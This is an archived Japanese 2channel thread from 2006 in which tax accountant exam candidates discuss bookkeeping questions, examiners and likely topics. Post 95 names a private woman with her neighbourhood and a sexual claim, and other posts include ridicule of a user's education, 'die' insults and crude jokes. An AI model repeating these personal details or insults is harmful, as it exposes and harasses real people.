2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【Love】税理士試験簿記論Vol.36【Juice】

1 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 00:51:21 ID:???
愛こそは全て。
試験委員が奇問珍問難問で受験生を揺さぶるのもまた愛情。

前スレ
【日本敗北】税理士試験簿記論Vol35【予想通り】
http://school5.2ch.net/test/read.cgi/exam/1151384898/

関連URL
公式
http://www.nta.go.jp/category/zeirishi/zeirishi.htm
某氏のライブドアブログ
http://bokiron.livedoor.biz/
いわゆる法人部屋
http://www.houjinzei.com/index.htm
コミサイト
http://zeirishi-community.com/
教材入手
http://search.auctions.yahoo.co.jp/jp/search/auc?p=%CA%ED%B5%AD%CF%C0&auccat=0&alocale=0jp&acc=jp
各予備校
http://www.tac-school.co.jp/
http://www.o-hara.ac.jp/
【W杯3敗】税理士・財務諸表論20【本試験も敗北か】
http://school5.2ch.net/test/read.cgi/exam/1150632978/
簿財は独学でいいんじゃない?
http://school5.2ch.net/test/read.cgi/exam/1074261721/
以下略

2 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 00:55:48 ID:o03qA2U/
>>1
乙。おまいは財表受けるんですか?
計算が中々伸びなくて・・・。
やっぱりレギュラー生だと上級生に比べて簿財ともに
ボーダー付近取るのがいっぱいいっぱいなんだろうかね?

3 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 00:58:45 ID:???
>>1
乙。

4 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 01:08:18 ID:???
>>1
平成16年みたいな商法違反問題も試験委員の愛情なのか?
小一時間問い詰めたい

5 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 01:08:51 ID:ApayW99R
ランリツキタ━━━(゚∀゚)━━━ !!!

6 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 01:18:47 ID:???
>>2
No.7までやりこんでれば楽々ボーダーなんか越えられるよ♪

7 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 01:30:42 ID:???
>>1

8 :誘導..:2006/07/19(水) 01:31:30 ID:???
コテが気に入らん気持ちは分かるがスレ立て時間は向こうの方が早いです。

【いよいよ】税理士試験簿記論Vol36【本番】
http://school5.2ch.net/test/read.cgi/exam/1153203427/


9 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 01:36:48 ID:???
こっちが本スレだよ

10 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 01:48:48 ID:???
>>1

11 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 01:49:05 ID:???
>>8
スレ立てのタイミングが早すぎる。
あれじゃ乱立と大差ないよ。

12 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 04:38:06 ID:???
こっちが本スレ確定だな!!!!!!!
>>1


13 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 11:08:12 ID:???
>>1
乙、合格オメ

14 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 12:36:48 ID:???
こっちは分子専用にするか

15 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 13:08:00 ID:???
age

16 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 13:34:31 ID:V3rSkBgO
エルメスにそんな言うなよ
おまいらのために作ってらっしゃるんだぞ

17 ::2006/07/19(水) 13:42:51 ID:???
エルメス乙

18 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 15:25:14 ID:tKKgGFeA
Tの総合問題集、犬の総合問題基礎・応用を3かい回せば簿記論マスタ可?

19 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 17:50:12 ID:???
理解度による。

20 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 20:51:12 ID:0Duza+5j
犬ってなんだよ?

21 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 21:00:13 ID:???
>>18
基礎はノーミス、応用はワンミスまで
正直俺は三回か四回やった

22 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 22:21:51 ID:???
試験委員は受験生に愛情を持ってるのかねぇ・・・・
変な問題ばかり作りやがって。

23 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 22:40:16 ID:???
>>22
合格可能性が低い受験生にとってはそれがいい。
出来る受験生は、指示ミスにこだわりすぎて、時間ロスするからな

24 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 22:53:42 ID:???
そのとおり!実力が如実に反映されるような基礎問題のオンパレードだと困る
難しい問題だと逆転が可能

25 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 23:37:20 ID:8lUPN8AP
>>22
あれは、もう受験生の愛情というより
悪意を感ずる。
「俺は、大学教授(とか公認会計士)なんだぞ
貴様ら、これが解けるか? 1年頑張って来たってか?
だから、それがどうした。まだまだ甘いぞ。」
って具合。

26 :一般に公正妥当と認められた名無しさん:2006/07/19(水) 23:37:44 ID:MNL/AD7A
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄○ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
            o
__        ゚ 
 母 |
 の |
 墓 |  ∴  ('A`)カーチャン..........
──┐ ∀  << )し

27 :過去問について:2006/07/20(木) 00:11:46 ID:???
<平成14年>
第1問(永野則夫)
本支店会計+商的工業簿記 日商2級+αレベルで極めて易しい
第2問(伊藤邦雄)
個別問題(退職給付・新株予約権付社債など) 易しい
第3問(松井章+田村一美)
合併前段階の決算処理 難問

<平成15年>
第1問(伊藤邦雄)
 何の変哲も無い総合問題(割賦・社債償還あり)
 易しい回の日商1級レベル
第2問(柴健次)
 償却原価法・CF見積法に関する計算問題
 償却原価法(利息法)の計算式の掲載有。
 端数処理はウザいが非常に易しい
第3問(田村一美・鈴木基史)
 特商だらけの決算整理問題(外貨換算の仕訳もあるでよ)。
 標準レベルだが致命的な出題ミス(貸借の合わないT/Bの推定)有。
 出題者は「貸借平均の原理」から簿記の勉強をやり直すべきだろう。

28 :過去問について:2006/07/20(木) 00:21:56 ID:???
<平成16年>
第1問(伊藤邦雄)
 総合問題。計算量やや多し。標準レベル
第2問(柴健次)
 個別問題。史上稀に見る悪問のオンパレード。
 ・法人税の課税標準の算出問題(出題範囲の甚だしい逸脱)
 ・中間配当可能限度額ゼロのもとでの中間配当の実施(タコ配当)
  (商法違反/5年以下の懲役+三面記事沙汰必至)
  もはや財表の学習内容をも踏みにじる「犯罪問題」。
第3問(田村一美・鈴木基史)
 精算表の穴埋め(解答要求140箇所以上の異常なボリューム)
 期中取引+決算処理の2段構え やや難

29 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 00:39:05 ID:???
>>28
去年は?

30 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 00:45:00 ID:???
>>29
15年合格者だから去年の問題はよく見てない。
16年のは各地で悪問と騒がれたから知ってるけど。

31 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 00:52:09 ID:???
     このスレは俺たち専用

 ∩∩                               .V∩
  (7ヌ)                              (/ /
 / /                 ∧_∧            ||
/ /  ∧_∧     ∧_∧  _(´∀` )   ∧_∧   ||
\ \( ´∀`)―--( ´∀` ) ̄      ⌒ヽ(´∀` ) //
  \       /⌒   ⌒ ̄ヽ さる吉 /~⌒    ⌒ /
   |      |ー、      / ̄|    //`i 2/5人前 /
    | N村  |  試験番長  (ミ   ミ)  |    |
   |    | |     | /      \ |    |
   |    |  )    /   /\   \|       ヽ
   /   つ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /

32 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 03:02:02 ID:J0TCbLyW
17
一問目

二問目

三問目
鈴木と誰か

以上

33 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 06:39:19 ID:???
>>32
去年の第3問は鈴木と森田。
鈴木は去年で消えたけど森田は今年も続投。
去年みたいな変な問題が出ないように祈ろう。

34 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 08:52:59 ID:???
↓こちらが本スレなので移動してください。

【いよいよ】税理士試験簿記論Vol36【本番】
http://school5.2ch.net/test/read.cgi/exam/1153203427/

35 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 11:18:03 ID:N1YqW9YY
エルメス、もうあきらめろ

36 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 11:19:12 ID:???
どうせエヌ村が立てたスレだろw

37 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 12:00:31 ID:???
まぁそうだろうな。幼稚だよな。

38 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 21:50:01 ID:l40UgGHB
今年の学者は柴みたいな奴か?

39 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 22:09:20 ID:???
>>38
新入りの学者試験委員は松本君。
同志社大学の教授。
柴健次の関西大学よりはレベルが高い。

40 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 22:21:26 ID:l40UgGHB
松本君小野に洗脳されないといいな

41 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 22:27:35 ID:???
↓こちらが本スレなので移動してください。

【いよいよ】税理士試験簿記論Vol36【本番】
http://school5.2ch.net/test/read.cgi/exam/1153203427/

42 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 22:33:22 ID:???
>>41
死ね荒らし。

43 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 23:17:51 ID:???
こっちが本スレか?

財表の理論を仕上げていたため、
かれこれ2週間以上簿記論の勉強をしてないや。

残りのうち5日間くらいは簿記論の基礎の見直しに時間を充てるかな

44 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 23:28:50 ID:???
やっぱり基礎だよね

45 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 23:33:32 ID:???
エヌ村必死だなw

46 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 23:37:29 ID:???
債権回収業者である椿本社長の出題が気になる。
貸付金や貸倒引当関係で変な問題が一杯出そうで怖い。

47 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 23:41:43 ID:???
(・∀・)キャッシュフローノコト?

48 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 23:52:24 ID:???
>>44
基礎だけでいいけど、穴はつくっちゃいけない。
問1で、日商1級レベルの合併問題でたら、TAC生死亡かもね?あんまりやってないでしょ?
営業権算定みたいな個別しかできなんじゃないの?
去年まではちゃんとやってたのにね。


49 :一般に公正妥当と認められた名無しさん:2006/07/20(木) 23:59:02 ID:???
問2だったら大丈夫?

50 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 00:04:21 ID:???
問2は個別だから関係ない

51 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 00:13:52 ID:???
↓こちらが本スレなので移動してください。

【いよいよ】税理士試験簿記論Vol36【本番】
http://school5.2ch.net/test/read.cgi/exam/1153203427/

52 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 00:27:13 ID:???
>>51
荒らすなボケ

53 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 02:07:54 ID:???
>>51
消えろ

54 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 02:53:51 ID:???
勃起基礎age

55 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 03:23:40 ID:???
仕訳が趣味です

56 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 05:02:20 ID:???
試験委員は受験生に対して愛と思いやりを持っていただきたい。

57 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 05:50:54 ID:???
良スレだね

58 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 06:39:10 ID:???
>>54
おっすエヌ村

59 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 08:41:06 ID:???
今年は結局何がでるんだろう・・・


60 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 09:47:45 ID:???
あげ

61 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 11:34:39 ID:Q1zR9E8s
連結はでないと言っておこう

62 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 11:58:10 ID:QgxF1xc2
仕訳は出ますから

63 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 11:59:20 ID:Q1zR9E8s
出ないよ

64 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 12:01:14 ID:???
どっちかな?

65 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 12:28:18 ID:???
でねぇだろ
会計帳簿じゃなく財務諸表をもとに作るんだから
簿記論の範囲じゃないだろ

出しやがったら石投げてやる

まあ範囲外出題の前例もあるし
対策はしてるけど


66 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 12:49:23 ID:???
してるのかよ

67 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 13:10:07 ID:???
対策してるならむしろ出ればラッキーじゃん

68 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 13:38:49 ID:???
連結クル by O

69 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 13:57:31 ID:???
本試験予想問題集の東京CPA専門学校の問題、、
やたら難しいんだけどこれ解いた人いる?
個人的に大原全統よか戦意喪失度が格段に上な気がするんやけど。

70 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 14:41:11 ID:QgxF1xc2
それ解くと本番で分母になるよ
まあ、もっとも有り難い行為だが

71 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 14:50:50 ID:???
ワールドカップが終わって勉強に専念できると思ったら
高校野球がはじまってしまった。

72 :69:2006/07/21(金) 15:03:00 ID:???
>>70
的中、応用、プレ、直前ばっかり解きなおして、
全て解けると勘違いして本試験挑む方がいいってこと?

73 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 15:04:46 ID:???
このスレは重複につき削除されます。
↓こちらが本スレなので移動してください。

【いよいよ】税理士試験簿記論Vol36【本番】
http://school5.2ch.net/test/read.cgi/exam/1153203427/

74 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 15:22:53 ID:???
>>73エルメスあきらめろ
ここが本スレだよ

75 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 15:24:31 ID:???
>>72
そんなことしてたら本番ではまるよ

76 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 15:31:29 ID:???
     ここが本スレ。ヴェテ以外書き込み禁止。

 ∩∩                               .V∩
  (7ヌ)                              (/ /
 / /                 ∧_∧            ||
/ /  ∧_∧     ∧_∧  _(´∀` )   ∧_∧   ||
\ \( ´∀`)―--( ´∀` ) ̄      ⌒ヽ(´∀` ) //
  \       /⌒   ⌒ ̄ヽ さる吉 /~⌒    ⌒ /
   |      |ー、      / ̄|    //`i 2/5人前 /
    | N村  |  試験番長  (ミ   ミ)  |    |
   |    | |     | /      \ |    |
   |    |  )    /   /\   \|       ヽ
   /   つ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /

77 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 15:38:50 ID:???
エヌ村の受験指導スレw

78 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 15:48:48 ID:???
434 名前: 試験番長 ◆Jei1N6Go 投稿日: 02/02/10 09:46 ID:jNIGGN1Z

>小物に妙にこだわる
結構当たってる。
>特に時計はホイヤー等のごついスポーツウォッチ
イイ線行ってるがスポーツ系は嫌い。金ためてモナコ復刻版買おうと思ってる。
>着るものはブランドものと推定される。
ブランドはポールスミスくらいで、後は定番物のJプレスやリーガルのトラッド系
 
これ以外全く的外れ




435 名前: 名無しさん@そうだ確定申告に行こう 投稿日: 02/02/10 10:30 ID:Y+F9QUd4

車はFFレビン、
ハズカシー

ギャハハハハハハハハハハハハハハハハハハハハハハハハハハハハ!!

79 : :2006/07/21(金) 17:30:37 ID:???
 ○
 く|)へ
  〉   
 ̄ ̄7
  /     |
  |     /\_
 /        |○ ←>>88


80 : :2006/07/21(金) 17:31:16 ID:???
 ○
 く|)へ
  〉   
 ̄ ̄7
  /     |
  |     /\_
 /        |○ ←>>粘着



81 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 17:55:09 ID:???
>>79でアンカーを間違えて、
慌てて>>80を書き込むエヌ村w

82 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 17:58:11 ID:???
そんな人もうどうでも(・∀・)イイジャン!!

83 :81:2006/07/21(金) 19:11:29 ID:NS7gWwM9
キョウハケイタイカラダカラオレヲアオルナ

84 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 19:23:38 ID:???
81>83
アンタ誰?wwww

85 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 19:45:50 ID:???
県立岐阜商業高校の連中が何人受かるか見ものだぜ>今年の簿記論

ちなみに去年は20人受けて15人合格。TAC上級コースより高い合格率。

86 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 20:27:31 ID:???
高校生くらいが簿記みたいなパズルっぽいのに強いんだろうね。
財表の理論はできそうにないけど

87 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 20:43:51 ID:???
>>85
高卒エヌ村、自分のことのように大喜びwwww

88 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 21:11:02 ID:???
>>80
氏ね

89 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 21:11:22 ID:???
>>79だった・・・・・・・・

90 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 21:23:20 ID:???
>>86
実はおれも商業高校出身打だからわかるんだが・・・
商業高校には簿記部なるものがあるのです。自分の高校にそんなものがあった
なんて卒業して初めて知ったんですが。活動内容は簿記。普通のスポーツ等
の部活動のように朝練やって夕方からまた練習とやっているようです。
なんか全国大会まであるみたいですよ。まじめにやっている奴なんかだと1日
平均7時間ぐらい簿記やってるそうです。それを高校1年のときから。
岐阜商のように力を入れている学校などでは外部から優秀な講師を招きいれ
ているみたいです。抜群の学習環境と膨大な学習時間。高校生の頭は柔らかい
とかそういう問題ではないみたいです。

91 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 21:37:53 ID:???
やれば出来ると言う事ですね
しかし商業高校っていろいろあんのね
お勉強できない、したくない奴が行くってイメージがあったんだけど
違うのか

92 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 22:01:25 ID:???
エヌ村も商業高校か?

93 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 22:01:43 ID:???
>>91
偏差値などは普通科の進学校には劣りますね。平均した場合ですけど。
頭イイ奴はいっぱいいましたよ。商業高校は成績上位と下位の開きが
すごくあるんです。

94 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 22:25:24 ID:???
高卒もF大も変わらないからwF大の奴が高卒を馬鹿にするのはどうかと思う

95 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 22:27:49 ID:B2gzyJyu
「極楽とんぼ」の山本圭一とやった女・・・大門美奈 (北海道函館市大縄町のDQN)
http://image01.pita.st/tmp/9/3/gt9gdkvw_1.jpg

96 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 22:40:10 ID:???
>>94=学歴コンプレックスの高卒シケ村

97 :一般に公正妥当と認められた名無しさん:2006/07/21(金) 22:51:38 ID:???
たまに、部分資本直入法と満期保有社債の利息法が出ると、びっくりする。
専門学校が全部資本直入法や定額法ばっかやらせてるからな。


98 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 00:30:30 ID:???
受験生への愛情にあふれた本スレだからこそ伸びも速い。
スレタイ自体愛情がこもってるしな。

99 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 00:44:45 ID:???
age

100 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 01:10:05 ID:???
100

101 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 02:21:42 ID:WBvwGmyy
>>97わかる
復習向けに各項目を万遍無く含めた問題を作ってほしいもんだ

102 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 02:25:33 ID:???
俺一昨年の簿記論辛うじて合格したんだけど、専門学校はあれからソフトウェア関連とかを深く教えてるの?

103 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 04:25:23 ID:???
>>102
販売目的なんかは相変わらず捨て項目

104 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 05:25:29 ID:???
>>102サンクス
結局あれはなんだったんだろうな…

105 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 06:52:26 ID:???
本社工場、本支店はでないでくれ、でるなら第3問以外で

106 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 07:38:49 ID:???
初学の俺はむしろOK

107 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 07:57:05 ID:???
ソフトウェアやリースがここまで奥が深いとはね
恐れ入ったぜ

108 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 08:27:03 ID:???
エヌ村って高卒だったの?

109 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 11:51:26 ID:???
うん

110 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 12:57:41 ID:???
本社工場本支店が得意な俺としては出てほしい

111 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 13:11:26 ID:???
伝票が出たら俺の勝ち

112 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 13:11:31 ID:???
本支店は得意だが本社工場の原価集計がめんどくさい

113 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 14:17:15 ID:???
>>109
おっすエヌ村

114 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 15:08:30 ID:???
高卒晒しage

115 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 18:37:34 ID:???
 ○
 く|)へ
  〉   
 ̄ ̄7
  /     |
  |     /\_
 /        |○ ←>>粘着


116 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 20:26:43 ID:???
>>97
すまん、俺が昨日間違えた所だ

117 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 21:42:12 ID:???
良スレ発見!!

118 :一般に公正妥当と認められた名無しさん:2006/07/22(土) 22:33:09 ID:lq3yy3DJ
バカは氏ね

119 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 00:08:42 ID:???
○○○の結婚報告でストーカー番長は荒れまくりwww

120 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 01:46:10 ID:bclE44Zj
今年は確実に本支店

121 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 01:49:03 ID:???
個別で、在外子会社だな。
TAC生あぼーんだ。ww

122 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 02:22:03 ID:???
在外子会社の連結だったりして。

123 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 09:44:44 ID:???
去年のソフトウェアの月次で大原生死んだよね

124 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 10:39:30 ID:QoONmwus
いや適格合併の後の連結だよ

125 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 10:45:13 ID:0IQeCNqd
絶対キャッシュフロー計算書

126 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 10:59:16 ID:???
>>125
連結よりも出る可能性が(ry

127 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 11:07:00 ID:QoONmwus
キャッシュフロー計算書なんてちょっと難しいのが出たら部分点狙いになって、そんなに差が出なくなるだろうね

128 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 11:42:53 ID:???
鹿児島の豪雨は糞コテさる吉の親父の祟り。
死んでも迷惑かけまくり。

129 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 11:45:08 ID:???
>>128
お前はもう一個のスレの方に行け

130 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 13:32:03 ID:???
ここはコテハンとコテハン叩きのいない健全な簿記論スレです

131 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 13:49:20 ID:???
    ここはコテハン叩きのいない健全な簿記論スレです

 ∩∩                               .V∩
  (7ヌ)                              (/ /
 / /                 ∧_∧            ||
/ /  ∧_∧     ∧_∧  _(´∀` )   ∧_∧   ||
\ \( ´∀`)―--( ´∀` ) ̄      ⌒ヽ(´∀` ) //
  \       /⌒   ⌒ ̄ヽ さる吉 /~⌒    ⌒ /
   |      |ー、      / ̄|    //`i 2/5人前 /
    | N村  |  試験番長  (ミ   ミ)  |    |
   |    | |     | /      \ |    |
   |    |  )    /   /\   \|       ヽ
   /   つ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /

132 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 17:00:46 ID:???
あえて第一問で帳簿組織。

第三問は3月30日スタート。
31日の取引を伝票で集計。
その後いつもの決算整理。

133 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 18:10:32 ID:???
>>132
恐いこと書かないで・・・

134 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 18:13:46 ID:???
また精算表で出て
3月31日仕訳に配点があるのないの言うの?

お陰さまで受かりましたがw

135 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 19:04:16 ID:0IQeCNqd
と、万年税法連敗記録更新中の無職道程が申しております

136 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 19:04:57 ID:???
>>132
去年第1問で帳簿組織が出ただろw
ま、日商2級レベルのくだらない問題だったけどなww

137 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 19:22:21 ID:???
>>136
去年のは帳簿とはいえないだろ

138 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 21:02:57 ID:???
けど連結でるよりは帳簿の方がよっぽどマシだと思うが。
連結がもし第一問とかで出たら会計士受験生にまず勝てない。

帳簿は捨ててなければそんなに差はつかないのでは?

139 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 21:10:11 ID:???
>>123
みんな死んだよ。
10箇所合えば合格とかいわれたな。


140 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 21:11:07 ID:???
>>133
資料の一部が焼失してるやつが出るんじゃないか?

141 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 23:22:53 ID:HTKsQkEt
今年は月次決算の可能性大だね。

142 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 23:27:16 ID:9hUTowF1
時代は、日次決算だろ

143 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 23:29:11 ID:???
>>123
Tでは対策してたの?


144 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 23:39:57 ID:???
今更初歩的な確認ですまないが、
為替予約、振当処理の問題文に

『直先差額については、重要性がないため一括損益処理をする』

とあったら直直→直先の順当な手順で為替差損益をもとめずに
帳簿価格からいきなりFR換算額で求めちゃっていいよね?

145 :一般に公正妥当と認められた名無しさん:2006/07/23(日) 23:51:01 ID:???
>>139
合格ラインは18〜20点(T基準)で、25点配点の第1問とほぼ同じ。
鈴木の野郎は酷すぎるよな。
奴が消えてくれてよかった。
第3問については、新任の椿本社長の良識に期待かな。
ま、債権回収業者に良識を期待するのは無駄かもしれんがw

146 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 00:28:16 ID:X4dq/XlE
合格してる人は第3問は30点近くは取ってるはずだよ

147 :一般に公正妥当と認められた名無しさん :2006/07/24(月) 00:55:26 ID:???
昨年合格者です
第1問:23点
第2問:25点
第3問:10点

148 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 01:03:36 ID:???
>>145
>鈴木の野郎は酷すぎるよな。
森田も同罪。

149 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 01:19:02 ID:???

 く|)へ
  〉   
 ̄ ̄7
  /     |
  |     /\_
 /        |○ ←>>ハンパ



150 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 01:23:05 ID:???

 く|)へ
  〉   
 ̄ ̄7
  /     |
  |     /\_
 /        |○ ←>>柴健次

151 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 01:23:50 ID:???

 く|)へ
  〉   
 ̄ ̄7
  /     |
  |     /\_
 /        |○ ←>>鈴木基史

152 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 01:49:53 ID:???
エヌ村、もう寝ろ。

153 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 01:53:54 ID:O+E2DDCd
>>152あんた誰?w

154 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 02:00:13 ID:???
債権回収業務を営む甲社は……

とか出たりして。

155 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 03:31:52 ID:q/BLXLwR
N村今年はいけそうか?

156 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 03:36:04 ID:???
http://storage.irofla.com/?name=kuso1&type=swf
粘着専用

157 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 07:01:15 ID:???
>>144
そうだよ。その問題が出たらラッキー。
大抵”未処理”って言われるから、
直直も直先も関係なく取引時のレートを期末レートに換算するだけでおk。

158 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 07:41:42 ID:???
http://www.youtube.com/watch?v=tDeprQhI1y0

159 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 17:05:22 ID:GrWL+htO
>>157
期末じゃなくて予約時のFRジャマイカ?

。為替はミスが出やすいね。資料が少なかったり分散してたり複雑だったりと。
為替が中心の推定簿記なんて実力差がはっきりでそう。

160 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 17:08:42 ID:???
話はかわるが先入先出して言葉
あれエロくないか??

161 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 17:26:41 ID:???
卑猥だよな。

162 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 17:35:49 ID:2mObK8Zw
先入れ中だし方がのがエロいよ

163 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 19:23:48 ID:BuZODu06
いやそれだったら「本番」だって・・・・

164 :157:2006/07/24(月) 19:52:13 ID:???
>>159
なんでわざわざ直直と直先とを分けて求めるの?
つかもしかして俺が前提間違ってる?
”予約時の処理まで含めて未処理”って思って>>157を書いたんだが

165 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 19:53:00 ID:???
結合や連結もエロい

166 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 20:03:41 ID:???
全部直入法

167 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 20:10:39 ID:???
全竿生入法

168 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 20:10:43 ID:???
だから生入中出法だって

